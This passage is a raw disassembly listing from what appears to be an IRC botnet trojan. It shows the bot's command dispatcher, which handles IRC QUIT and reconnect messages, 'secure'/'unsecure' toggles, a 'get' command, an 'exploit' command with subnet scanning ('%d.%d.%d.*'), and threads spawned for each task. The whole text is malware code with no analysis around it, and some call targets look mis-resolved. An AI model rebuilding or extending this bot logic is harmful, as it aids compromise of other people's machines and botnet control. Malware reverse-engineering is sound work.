eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2690000h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2690579h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 2690CE2h push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h call near ptr 2690579h nop jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j call near ptr 2690CE2h nop push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 26A0D63h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h call near ptr 2690579h nop jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj call near ptr 2690CE2h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2690579h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2690CE2h push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2690579h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2690CE2h push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2690579h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2690CE2h push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h call near ptr 2690579h nop jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2690CE2h push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2690579h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2690CE2h nop push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov 